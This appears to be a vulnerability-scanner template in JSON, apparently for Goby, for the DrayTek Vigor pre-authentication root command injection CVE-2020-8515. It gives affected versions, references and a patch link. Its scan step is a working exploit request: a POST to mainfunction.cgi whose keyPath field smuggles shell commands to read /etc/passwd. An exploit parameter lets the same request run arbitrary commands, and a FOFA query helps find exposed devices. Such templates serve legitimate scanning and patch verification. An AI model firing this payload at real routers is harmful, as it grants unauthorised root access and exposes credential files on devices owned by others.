{
  "Name": "DrayTek pre-auth remote root RCE (CVE-2020-8515)",
  "Description": "DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.",
  "Product": "DrayTek-Vigor-Router",
  "Homepage": "https://www.draytek.com",
  "DisclosureDate": "2020-02-01",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "app=\"DrayTek-Vigor-Router\"",
  "GobyQuery": "app=\"DrayTek-Vigor-Router\"",
  "Level": "3",
  "Impact": "Allow remote code execution as root.",
  "Recommendation": "Download patch from https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/",
  "References": [
    "http://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html",
    "https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html",
    "https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/",
    "https://nvd.nist.gov/vuln/detail/CVE-2020-8515",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8515"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "Name": "cmd",
      "Type": "input",
      "Value": "id"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
		"AND",
		{
			  "Request": {
					"method": "POST",
					"uri": "/cgi-bin/mainfunction.cgi",
					"follow_redirect": true,
					"header": {
						  "Content-Length": "89",
						  "Accept-Encoding": "gzip, deflate",
						  "Accept-Language": "en-US,en;q=0.9",
						  "Connection": "close"
					},
					"data_type": "text",
					"data": "action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a"
			  },
			  "ResponseTest": {
					"type": "group",
					"operation": "AND",
					"checks": [
						  {
								"type": "item",
								"variable": "$code",
								"operation": "==",
								"value": "200",
								"bz": ""
						  },
						  {
								"type": "item",
								"variable": "$body",
								"operation": "regex",
								"value": "root:(.*?):/bin/ash",
								"bz": ""
						  }
					]
			  },
			  "SetVariable": []
		}
  ],
  "ExploitSteps": null,
  "Tags": ["iot", "rce"],
  "CVEIDs": [
    "CVE-2020-8515"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}